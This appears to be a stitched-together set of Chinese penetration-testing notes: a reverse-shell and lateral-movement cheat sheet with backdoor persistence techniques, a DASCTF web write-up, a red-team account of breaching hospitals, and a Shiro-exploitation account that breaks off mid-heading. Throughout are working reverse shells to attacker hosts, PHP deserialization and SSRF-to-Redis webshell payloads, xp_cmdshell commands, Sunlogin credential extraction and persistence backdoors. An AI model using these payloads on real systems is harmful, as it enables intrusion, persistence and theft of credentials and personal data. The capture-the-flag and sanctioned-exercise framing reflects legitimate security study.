s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",监听端口号)); os.dup(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]); php反弹shell$sock=fsockopen("攻击机IP",监听端口); exec("/bin/sh -i <&3 >&3 2>&3"); java反弹shellr = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/攻击机ip/监听端口;cat <&5 | while read line;do $line 2>&5>&5;done"] as String[]) p.waitFor() perl 反弹shelluse Socket; $i="攻击机IP地址"; $p=监听端口号;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){ (open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i"); }; perl和python绝大多数服务器都会装,所以很有用 以某次内网渗透为实例 横向渗透预备工作 假设是如上拓扑图。先无视防火墙,内网机器无法直接访问外网,必须要走边界机。 获得低权限shell在网站信息搜集看到是joomla模板msf里search joomla 查看 辅助模块auxiliar里的扫描脚本:auxiliary/scannner/http/joomla_versionuse脚本设置rhost参数,然后expolit运行可以看到网站版本。expolit -j -z挂后台searchsplopit joomla 版本寻找exp,最好是在exploit.db找,这里图个方便把脚本copy到msf的exploits/multi/php目录下,然后reloaduse exp脚本,set rhost\rport参数和lhost\lport参数,set payload为reverse或者bind,exploit运行目前获得了低权限shell,sessions进入shell 提权uname -a查看系统信息gcc --version看到有gcc,就找c语言的脚本。另起一个终端nc --lvvp 端口监听新端口shell里bash -i >& /dev/tcp/xx.xx.xx.xx/端口 0>&1反弹shellsearchspolit linux kernel 内核版本 --exclute="(PoC)|/dos/"搜索本地提权脚本。除去Poc和dos,就剩本地脚本了。同理,也可以在expolit.db上找上传脚本,但是靶机的网站根目录不可写(很少见),写到/tmp目录gcc -o 输出文件名 脚本名编译,./文件名运行。不行就换脚本,脚本里有使用方法,事先看一下提不了就别提了,不是非要提权(试李妈半天都提不起,不知道这些exp谁写的) 一级代理靶机python reGeorgSocksProxy.py -u http://IP -p 代理端口建立代理转发服务器ipconfig或者其他的看下网段,run autoroute -s 网端开启路由转发use auxiliary/scanner/discovery、nmap、ping扫描等扫同网端存活主机扫描端口use auxiliary/scanner/portscan/tcp或者nmap扫,设置一下rhost和常用端口,运行vim /etc/proxychains.conf配置代理,浏览器开代理访问内网网站(建议foxyProxy插件)如果开了80端口,接下来就是搞内网的站,拿内网的webshell。注意蚁剑和burpsuit等工具也要配置代理 reGeorgSocksProxy指定的端口要和proxychains.conf文件里的端口一致,因为这波操作的意义就是把边界机当作跳板,regeorgsocksproxy.py在边界机起到代理服务器的作用,proxychains就是客户端 内网的站打下来了重复上述步骤到提权。 二层内网渗透(bind)生成msf木马msfvenom -p windows/meterpreter/bind_tcp lport=xxx -f exe -o 文件名,因为内网不能直接连外网的原因,reverse版木马无法使用,但是我们有代理可以连内网。上传同理,生成了木马本地就需要有msf进程监听。use exploit/multi/handler,然后set payload windows/meterpreter/bind_tcp,payload和msf木马所用payload一致,设置参数lport和rhost.(这里开监听是在边界服务器开,也就是之前msf的边界服务器终端,lport当然也是边界机的端口,相当于本机msf对靶机边界机 的渗透变为了==靶机边界机对内网二层机==)在二层内网机提权运行msf木马拿到shell后,run autoroute -s 另一内网网段添加路由扫描,老样子,那几个扫描用啥都行,run arp_scanner -r 网段进行arp扫描如果非要用reverse的连接方式呢,今天我皮痒,或者有防火墙只能出。 很简单,用到端口转发。如果将边界机监听reverse的端口转发到本地端口,二层内网机reverse到边界机的端口就相当于直接和本地通信 lcx被检测概率太大,用frp 二层内网渗透(frp工具reverse)关于frp要分清楚客户端和服务端到底应该放在哪。具体可以看==frpc.ini==和==frps.ini== 比如某frpc.ini的内容 [common] server_addr=172.16.12.2 server_port=7100 [ssh] type=tcp local_ip=127.0.0.1 local_port=5000 remote_port=5000如上,客户端连接服务端的7000端口,是将本机的5000端口数据以tcp转发到172.16.12.2的5000端口。因为你开frp也需要端口的嘛。这样连接服务端的5000端口就相当于连接客户端的5000端口。 服务端只有两行,监听一下就行了 [common] bind_port=7100这里,我要强调本文的精华 ==frp端口转发与内网穿透== 还是这张图。对于外网kali访问内网机,有两种手法,一是把外网kali的端口转发至边界机的端口。这样数据发到边界机的该端口就相当于发到外网kali,而端口转发frps在边界机、frpc在外网kali。另一种方式是内网穿透,把内网流量直接穿透到外网使得内网机能上网,frps也在边界机,frpc在内网机。 可以理解为都是端口转发,访问frps所在主机就相当于访问frpc,所以frps一定要在中间的机器上。逻辑理不通建议反复读来回读读通读透。有很多文章啊就不介绍端口转发和内网穿透有什么区别,整半天都不知道frps放哪,虽然只学内网穿透就够外网打内网一招鲜了。 上传frp和ini文件,运行。重新msfvenome生成一个reverse木马,lhost指向边界机 lport也是边界机要开的端口。(木马的lhost指的是需要连接的ip,不是指上传的ip) 上传木马到二层边界机运行,再在边界机shell里开监听(监听msf木马lport) 二层代理msf开二层代理,在刚在监听的shell里use auxiliary/server/socks5,然后run运行对之前arp扫描的主机use auxiliary/scanner/portscan/tcp扫描端口,设置rhost参数,准备再往里打配置浏览器代理,选socks5,端口和socks5脚本show options的端口一致访问三层内网机的80端口,准备三层内网渗透(打80端口)二层渗透就搞定了。如果三层内网要出网经过二层内网。用bind的话还好,用reverse就需要用两次代理转发 简单提一下三层内网,可以上传lcx再进行一次端口转发,把二层内网机的frp端口转发到边界机,或者走frp代理。这样都是frp端口就串起来了,再把三层内网机reverse到二层的端口等于二层转发的端口,相当于直接reverse出去 所以!多层代理就是把多层主机端口串起来! 什么?拿完shell,几台机子的shell来回切你嫌麻烦?可以直接用Termite工具 TermiteTermite用于管理多层跳板,有admin和agent两个文件。 在第一个节点上传agent的对应版本,运行./agent_版本 -l 端口在攻击机运行admin的对应版本 -c 边界机ip -p 端口,连接没问题就跳okadmin的shell里goto 1进入第一个节点,shell 端口。然后起个终端开nc或者其他监听,监听该端口,弹回了第一个shell二层机器agent对应版本 -c 上一层ip -p 上一层端口。端口与前面开agent和admin的端口一致。小站权限维持大部分还是靠webshell后门,其他的可以,但没必要。还有搞站最好别在晚上搞,晚上流量少,搞站日志记录和流量占比很大。因而写的好的木马流量控制做的很好,上传和下载速度都有控制 权限维持权限维持不一定是高权限。后门最好都要伪装,如启动,图标,名字。经过学习个人认为权限维持=隐藏后门 windows后门常见的后门:shift后门,启动项/计划任务,映像劫持,影子账户,远控 大多数情况下,后门是一个隐藏进程。 shift后门 除此之外,连接上3389之后可以使用的功能不止shift,还有放大镜等可以替换。 映像劫持 现在很难使用了,在高版本的windows版本中替换的文件受到了系统保护,所以要映像劫持。 a.exe实际打开是b.exe,就是劫持 计划任务后门 计划任务在win7及之前版本的操作系统中使用at命令,win8及之后使用schtasks命令 注册表自启动后门 影子账户(杀毒能杀) 顾名思义隐藏账户,只能通过注册表查看该用户。影子账户可以获得管理员权限且不易被发现 删除创建的隐藏用户 cmd删除test\$net user test$ /del导入注册表 双击导出的两个注册表影子账户试了一下,还是很牛逼的。 linux后门计划任务后门(crontab后门) ssh公钥免密(常用) 将客户端生成的ssh公钥写道目标服务器的 ~/.ssh/authorized_keys中,之后客户端利用私钥完成认证即可登录。该后门易被发现 将攻击机.ssh目录下的id_rsa.pub复制到目标服务器的/root/.ssh/authorized_key文件里 scp ~/.ssh/id_rsa.pub root@目标服务器IP地址:/root/.ssh/authorized_keys 在目标服务器中,将authorized_keys权限改为600 chmod 600 /root/.ssh/authorized.keys尝试免密登录详情请见ssh登录详解 ssh软连接后门 非常经典的后门,直接对sshd建立软连接,之后就能用任意密码登录 特点:1. 隐蔽性弱,rookit hunter这类防护脚本可以轻松扫到 本地查看端口会暴露能绕过一些流量监控 inetd/xinetd后门(很老很老) 监听外部网络请求(socket)的系统守护进程 具体工作过程:当inetd收到一个外部请求后,会到配置文件中找到实际处理它的程序,在把socket交给那个程序处理 还有prism后门等在服务器安装软件的,极易被发现 作者:godown文章原文来源: https://xz.aliyun.com/t/11784 来自为知笔记(Wiz)
-
DASCTF2022 ——十月赛 Web 部分Writeup
EasyPOP题目环境是 php 7.4, 图省事直接把所有属性的类型都改成 public 起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString() 方法, 然后通过执行 $this->ctf->show() 跳转 secret_code 类的 __call() , 进而到 show() 方法, 在 show() 方法中访问不存在的属性, 跳转到 sorry 类的 __get(), 最后通过 $name() 跳到 fine 类的 __invoke() pop 链构造如下 <?php class fine { public $cmd; public $content; } class show { public $ctf; public $time; } class sorry { public $name; public $password; public $hint; public $key; } class secret_code { public $code; } $e = new fine(); $e->cmd = 'system'; $e->content = 'cat /flag'; $d = new sorry(); $d->key = $e; $c = new secret_code(); $c->code = $d; $b = new Show(); $b->ctf = $c; $a = new sorry(); $a->name = '123'; $a->password = '123'; $a->hint = $b; echo serialize($a); 最后改一下数字绕过 __wakeup http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;} hade_waibo cancan need 有任意文件读取 http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php file.php ............ <?php error_reporting(0); session_start(); include 'class.php'; if($_SESSION['isLogin'] !== true){ die("<script>alert('号登一下谢谢。');location.href='index.php'</script>"); } $form = ' <form action="file.php?m=upload" method="post" enctype="multipart/form-data" > <input type="file" name="file"> <button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;"> 提交 </font></font></button> </form>'; $file = new file(); switch ($_GET['m']) { case 'upload': if(empty($_FILES)){die($form);} $type = end(explode(".", $_FILES['file']['name'])); if ($file->check($type)) { die($file->upload($type)); }else{ die('你食不食油饼'); } break; case 'show': die($file->show($_GET['filename'])); break; case 'rm': $file->rmfile(); die("全删干净了捏"); break; case 'logout': session_destroy(); die("<script>alert('已退出登录');location.href='index.php'</script>"); break; default: echo '<h2>Halo! '.$_SESSION['username'].'</h2>'; break; } ?> ............ class.php ‘<?php class User { public $username; public function __construct($username){ $this->username = $username; $_SESSION['isLogin'] = True; $_SESSION['username'] = $username; } public function __wakeup(){ $cklen = strlen($_SESSION["username"]); if ($cklen != 0 and $cklen <= 6) { $this->username = $_SESSION["username"]; } } public function __destruct(){ if ($this->username == '') { session_destroy(); } } } class File { #更新黑名单为白名单,更加的安全 public $white = array("jpg","png"); public function show($filename){ echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>'; if(empty($filename)){die();} return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; } } #更新了一个恶意又有趣的Test类 class Test { public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); } } Test 类可以利用, 第一时间想的是 phar 反序列化 可以用 . 执行命令来绕过正则 思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令 注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg, 包含命令的 jpg 名称必须是 dasctfc2.jpg 或者 dasctf01.jpg (ascii 码较小) 不过试的时候发现绕过 wakeup 好像不太行… 然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里, 索性直接读取 start.sh 看看 读取 /ghjsdk_F149_H3re_asdasfc 得到 flag EasyLove根据题目描述的 redis, 猜测是通过 ssrf + redis 来 getshell $this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng); 这句很明显是要通过某个类来执行 ssrf 众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http payload 如下 <?php class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; } $a = new swpu(); $a->wllm = 'SoapClient'; $a->arsenetang = null; $target = 'http://127.0.0.1:6379/'; $poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave"; $a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello"); echo urlencode(serialize($a)); 试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404 于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents() 来获得 hint.php 的内容 直接反序列化 hint 无回显, 结果想试试 file_get_contents() + gopher 的时候阴差阳错地读到了 hint.php <?php class hint{ public $hint; } $a = new hint(); $a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A'; echo serialize($a); http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";} 猜测 20220311 就是 redis 的密码 于是最终 payload 如下 <?php class swpu{ public $wllm; public $arsenetang; public $l61q4cheng; public $love; } $a = new swpu(); $a->wllm = 'SoapClient'; $a->arsenetang = null; $target = 'http://127.0.0.1:6379/'; $poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '<?=eval(\$_REQUEST[1])?>'\r\nsave"; $a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello"); echo urlencode(serialize($a)); O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D 访问 shell.php 蚁剑连接, 发现 flag 打不开 root 权限, 估计是要提权 先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh 来执行 bash -i >& /dev/tcp/xxxx/yyyy 0>&1 查找带 SUID 的文件 find / -perm -u=s -type f 2>/dev/null 发现有 date, 于是直接用 date 来读取 flag date -f /hereisflag/flllll111aaagg 参考原文: https://exp10it.cn/2022/10/dasctf-2022-%E5%8D%81%E6%9C%88%E8%B5%9B-web-%E9%83%A8%E5%88%86-writeup/#easypop 来自为知笔记(Wiz)
-
记一次有趣的地市攻防演练经历
0x00 写个开头凑字数这次攻防打的还是比较有意思的,开局电脑摆烂恼火的很,最后没电脑只能拿着销售的电脑疯狂输出。 去拿电脑没一会的功夫我们的私有目标就被干出局了,这次的规则还是有点问题按系统分给各个队伍,不是按照目标单位分的,别人分到我们私有目标的部分系统基础分和数据分薅完一下被干出局了,后面再打只有100路径分,还有老6盯着我们的私有目标打,有个泛微office的洞我们手上没有,目标一放出来就穿了,怪自己太菜了。 排名最后还算理想吧最终排名第三,跟两个技术大哥没后端支撑的情况排到前三还是可以的,前面两位重量级选手卷不过啊,一个提交0day另外一个后端支撑有名的卷,最后前两名分数比我们高出一半多。 废话讲完了,开始我们的内容,码打的严师傅们勿怪,文章最后欢迎师傅们留下评论来交流。 0x01 目标某医院外网弱口令第一天分了私有目标和公共目标,这个目标是公共池目标,运气也是比较好外网一个弱口令直接进去了,主要就是要知道IP地址,突破到内网这里没啥技术含量,目标给的是一个官网的地址,估计其他队伍的师傅们都去冲云上官网那个IP了,后面云上的我们也通过信息科专用共享服务器上密码文件拿到了所有权限。 攻击路径 下面我会按照上面图上标记的序号说明内网攻击过程 路径1/路径2 外网弱口令这里说下这个目标IP怎么来的,通过IP地址收集C段信息找到h3c设备,默认审计账号密码登陆上去命令控制台查看对应授权信息确定是目标IP地址,但是审计账号没有配置权限没法做vpn隧道这些,所以做了个全端口扫描发现一个非标准端口的ssh弱口令,这里拿到服务器权限后我先做了一个反弹shell计划任务。 crontab -e编辑计划任务 bash -c 'exec bash -i &>/dev/tcp/you vps ip/you vps port <&1' 做完计划任务之后我才上fscan扫描,发现内网很多ssh、mssql弱口令,ssh反弹shell计划任务又做了几台,防止一会动作太大掉了。 内网弱口令一薅一大把,建个frp方便一会去内网翻东西,下载对应编译好的版本就可以。 项目地址:https://github.com/fatedier/frp frp server [common] bind_port = 8945 frp client [common] server_addr = you vps ip server_port = 8945 tls_enable = ture pool_count = 5 [plugin_socks] type = tcp remote_port = 35145 plugin = socks5 # 认证 免认证把下面两行去掉 plugin_user = admin plugin_passwd = Admin@123 use_encryption = true use_compression = true vps上执行 ./fprs -c frps.ini 跳板机上执行 ./fprc -c frpc.ini 确定连接没问题之后nohup &到后台,这里如果用的腾讯云或者阿里这种vps一定记得端口组里面开启对应的端口,否则连接不上,proxifier确定代理可用。 路径3 运维机器这里通过刚才fscan扫描到的mssql弱口令打的一台运维终端主机 # 开启xp_cmdshell EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp\_configure 'xp_cmdshell', 1;RECONFIGURE; # 命令执行 exec master..xp_cmdshell "whoami" 相关文章 https://www.cnblogs.com/websecyw/p/11016974.html 确定命令正常执行是个system权限,certutil下载木马上线,抓出密码后确定管理员不在线远程到桌面。 路径4 服务器所有权限远程到终端上面才知道这台机器是运维的机器,终端上面打开了sql server连接软件,同样使用上面的命令开启xp_cmdshell执行命令,这里sql server数据库做了降权操作,权限是sqlserver服务权限。 这里上马子的时候一直有问题权限太低了,上面有火绒企业版开启了系统加固,temp目录写文件写不进去,只拿了sqlserver权限,后面测试了下关闭火绒还是不行,应该是本来sqlserver权限就比较低,后面发现火绒控制台可以分发文件自动执行马子就没管了,这个可以后面复现下环境研究下。 查看浏览器保存的密码,火狐浏览器里面保存了火绒控制台的账号密码,还有其他一些平台的账号密码,密码收集一下一会可以撞密码。 everything文件搜索关键字,不管服务器还是终端的文件都仔细翻下,说不定就有意外收获。 密码|信息科|资产表|拓扑|账号|设备|pass|user|config|管理|规划 ereryting高级用法(正则表达式),也可以使用content搜索文件内容,文件内容搜索比较慢。 ererything相关文章 https://www.jianshu.com/p/9c0ab75a264f 在电脑上找到了设备密码信息还有拓扑信息 设备服务器所有信息 基本上是所有的网络设备和服务器权限了,这里整理下密码去撞一下密码,在整理密码的的时候发现这个密码是有规律的密码,梳理一下密码的规律使用社工密码生成脚本去生成一些密码。 工具下载地址:https://github.com/cityofEmbera/CPassword 工具使用比较简单,我们只需要修改username.txt里面的名字就可以了,dict.txt里面有自带的规则,我们也可以稍作修改,比如增加一下密码里面自带的一些规律,还有最近的年份信息,比如: @2013 @2014 @2015 @2016 @2017 @2018 @2019 @2020 @2021 @2022 #2013 #2014 #2015 #2016 #2017 #2018 #2019 #2020 #2021 #2022 123!@# !@#123. @233 !@#345 !@#qwe python3 createDict.py就会自动生成密码文件,密码保存在createdict.txt文件里面,密码生成后丢给kscan指定密码文件去撞密码。 kscan.exe -t 10.0.0.0/8 --hydra --hydra-pass file:pwd.txt 路径5 火绒控制台文件分发这里就是使用火绒控制台分发文件的功能直接下发文件,这里也是神奇哈文件分发后居然自动执行了,牛呀牛呀 火绒控制台这里不知道为啥我的浏览器一开控制台直接卡死,找J师傅给我看的,文件直接分发下去 装了火绒的机器全部上线,有些内网机器没上线,这里CS 4.3有问题选择中转监听器生成文件生成不了 看了下有一台靶标机器也在,芜湖分数基本算拿满了,服务器、网络设备、终端的分再加上回收站翻到的带公民身份信息的数据4w条,6k分到手了 路径6 云上资产这里打到一台信息科共享服务器是通过刚才收集到的口令撞密码撞出来的,还有上面sqlserver弱口令也可以执行命令,因为前面sa弱口令实在太多了,没一个一个去打,这里有口令直接使用工具打一下上线 随便翻了下文件发现E盘有个信息科专用文件夹点开一看好家伙云上的资产也拿到了 路径7 域名权限用刚才的账户密码登陆获取域名解析权限 云服务器权限,其中一台服务器是官网服务器,是其他队伍的靶标直接拿了 路径8 云服务器权限直接阿里云控制台登陆上去用c2生成powershell上线 某综合医院这个目标是开始后的第三天晚上开放社工还有近源搞的 攻击路径 路径1 wifi口令开放社工和近源那天立马就去报名了,吃完饭换掉工作服拿着手机就冲去医院了,之前手机上刷了kali nethunte,编译了一些arm版本的工具完全够用了,只要在内网建立个立足点就可以了。 到现场之后打开wifi万能钥匙搜索附近的wifi 连上wifi确定可以通到靶标IP地址,微信扫描二维码密码取出来,一会内网再撞一下密码。 登陆网关地址发现是h3c出口设备,弱口令登陆到设备上面有网段信息根据网段信息去扫描对应的网段 路径2 向日葵rcekscan指定wifi密码文件撞下3389、22、1433这些脆弱端口的密码,拿到了一台内网机器和一台外网机器。 外网机器有向日葵rce漏洞,whoami之后好像把向日葵打挂了(这里不知道什么问题,没找到原因),后面执行命令一直 不回显 用密码远程登陆上去发现向日葵一直重新连接状态退出重新开还是一样的,把马子上好之后以防万一装个todesk一会远程弄 路径3 靶标机器通过刚才外网跳板机todesk远程,直接扫内网服务器网段撞密码撞出一台机器,发现服务器上装了todesk,保存了三台靶标机器的todesk远程,美滋滋a 加上刚才终端his系统上的数据,6k分打满了 某专科医院这个医院当时晚上去的关门了,第二天早上一大早过去了,这个医院进去有点尴尬和社死,当时过去没先查下这个医院是什么类型医院,门口没wifi只有进去了,进去的时候门口医生还是门卫问我挂什么科。 男科?妇科? 我:??? 然后又看了看我脖子上有点过敏,说挂皮肤科吗? 我:啊 对对对 皮肤科 进去之后一搜这个医院信息,我敲了这好像是个专科医院懂得都懂 进去正常挂号在那边等,这个医院好像没专门皮肤科的医生,挂完号让我等了一个多小时,打开手机坐着连上wifi开始扫内网 没等到医生,拿了个跳板机上了马子就溜溜球了,内网只有一个孤儿机器 攻击路径 路径1 wifi口令同样wifi万能钥匙进去 路径2 靶标机器这里扫描内网发现了一个ms17010是一个win2012的机器,手机上msf直接单命令执行试试。 机器上有360加账号加不上,certutil试了下机器上没有,看了下有向日葵的进程,那么我们可以直接读取他的配置文件解密直接远程到机器上。 配置文件路径 安装版:C:\\Program Files\\Oray\\SunLogin\\SunloginClient\\config.ini 便携版(绿色版):C:\\ProgramData\\Oray\\SunloginClient\\config.ini 尝试了下没有这两个文件 应该是高版本的,可以试试注册表里面找,看了下有360希望别拦截 # 注册表查询 reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginInfo reg query HKEY\_USERS\\.DEFAULT\\Software\\Oray\\SunLogin\\SunloginClient\\SunloginGreenInfo 芜湖没拦截,抓出来直接丢工具里面解密 向日葵解密工具地址:https://github.com/wafinfo/Sunflower_get_Password 工具使用比较简单,git下来pip安装好unicorn,然后python3执行输入刚才我们注册表里面获取到的encry_pwd字段,根据提示输入到脚本里面 验证下可以连接,直接向日葵远程拿到主机的权限,溜溜球了 某ZF单位这个单位没啥东西,这是最后几天跑了ZF街趴墙角一个一个单位薅这个算一个案例吧,拿到了出口设备可以搭建vpn,直接启用l2tp搭建隧道进入内网,为了保住前三的位置拼尽全力了。 攻击路径这个没截图,可以看下面的文章,关键的步骤这里。 参考文章: https://zhiliao.h3c.com/questions/dispcont/146895 https://baijiahao.baidu.com/s?id=1716025203844234922&wfr=spider&for=pc 如果vpn搭建不起或者设备没vpn授权,但是有nat和telnet功能,你有足够的耐心的话也可以参考我之前文章的思路,通过telnet去测试内网的脆弱端口映射到外网,写个脚本去批量测试提高效率,上次比赛回来没来的及写。 文章地址:https://forum.butian.net/share/1633 0x02 总结这次突破到内网没啥干货,主要是内网横向这块这次攻防遇到的一些东西,在第一个医院拿靶标的系统的时候从运维机上xp_cmdshell攻击靶机,sqlserver数据库做了降权操作temp目录写不了,一直拿不下上面的靶标系统,后面是通过火绒控制台分发文件上线的,其实最开始就已经拿到火绒控制台了,没有去用这个功能怕影响太大了,后面实在没办法了才用,自己会的sqlserver利用姿势还是太少了还得学习,后面基本上都是些社工的东西,划水划到的第三名,电脑坏了拿销售电脑打太费劲了大半时间配置环境 最近也看到一篇关于sqlserver比较好的文章分享一波,社区师傅们姿势多的 https://forum.butian.net/share/1390 最近打攻防总结的一些东西,欢迎师傅们来交流 一些技巧总结: 外网打点 资产收集 ENScan_GO空间绘测 fofa/360quake/shadow/zoomeye/hunterkunyu/fofa_viewer/infoSearchAll轻量扫描器 kscan 服务识别 可以配合fofa快速识别fscan c段快速识别子域名对应IP C段资产快速扫描 子域名信息收集 oneforall/subfinder/ksubdomain快速筛选真实IP生成C段 Eeyesweb指纹识别 EHole 很好的一个工具,可以二开下增加指纹和空间绘测引擎接口tide潮汐指纹web在线检测TideFingerhttpx 获取网页标题状态码内网主机信息收集 everything文件搜索(正则表达式提高效率)浏览器保存的密码/微信/QQ文件夹/回收站/共享盘/邮件软件/协同软件远程软件保存的远程连接 mstsc/内网通/向日葵/todesk等内网常见漏洞 向日葵rce(向日葵真的爽)weblogics2redis shiro 原文地址: https://forum.butian.net/share/1719
-
记一次地级市某行业专项攻防演练
0x00 前言2022.8.X单位突然通知参与某行业专项攻防演练,本着学习的目的参与了一波,特此记录。 0x01 打点获得目标单位名称 先通过爱企查、天眼查等工具查询目标及目标下属单位信息 可以利用工具:ENEScan_GO 接着就是信息收集三板斧 子域名、IP、端口 收集子域名:OneForAll(API要配置全一点)、Subfinder、FOFA、Hunter 收集IP:Eeyes、domain2ip 端口扫描:Goby、Nmap、Masscan 这里使用的是Goby全端口扫描,扫描速度堪忧,但优点是比较全面且展示效果较好。 端口扫描后筛出Web类与非Web类端口,便于精确打击。 Web类可以先统一进行指纹识别,优先攻击一些重点的框架系统 比如(Shiro、通达OA、用友NC等) 非web类可以筛出来进行服务爆破,一些特殊的端口可以优先摸一下试试,比如6379 Redis 0x02 获取突破口一番操作之后,通过以上打点,得到了一个Shiro框架的系统,这个系统是访问路径后默认跳转到SSO平台进行登录的。想进入该系统,入口必须是走SSO平台登录验证后进入。但是经过手工口令测试,发现通过弱口令进SSO系统有点困难,战略性放弃。 先利用Shiro反序列化工具查看是否存在RCE漏洞。 这边给个建议,不同工具可能不一定能抛出Key和利用链,大家在进行测试的时候,手里尽量多换几个工具来测试,我这里换了三个工具才跑出Key和利用链,其他的工具就是跑不出(不是Key字典的问题,就是单纯跑不出。。。) Linux机子,whoami Root权限,ping www.baidu.com 出网。 先用linux语句 根据网站的静态文件名称找一下目录地址 find / -name 404.jsp 直接到能访问的网站根目录下 wget我VPS上的JSP马,接着蚁剑连接。 翻了一下/webapps下,发现是3个系统+SSO系统 猜测只要经过SSO验证就可以访问其他的3个系统 接着开始翻配置文件 在路径 /webapps/xxx/WEB-INF/classes/ 下 发现一个dbconfig.properties文件,发现了MySQL与Redis的连接信息。(要打码的东西较多,我就不放了) MySQL是阿里云的,不是内网本地的,看了一下,发现原来打的这台机子是云主机。 白高兴一场,想着下一步就连一下MysQL看看能不能登陆SSO 以及接着翻翻看看有什么文件还有泄露配置信息然后就收工了。 mysql连接后,看到了SSO的库,以及其他3个系统的库,但当务之急是先看看能否登录SSO 查看SSO表中的sso_pwd字段 发现是加密的。。。还不是普通的加密。(蚌埠住了。。) 0x03 柳暗花明正当准备写报告收工时,一个名为 config.properties 的文件引起了我的注意。 点开查看了一下发现 what!!! SSO加密的密钥对 以及 Aliyun的accesskeyID和Secret 起飞! 0x04 解密SSO密码RSA加密、RSA解密 - 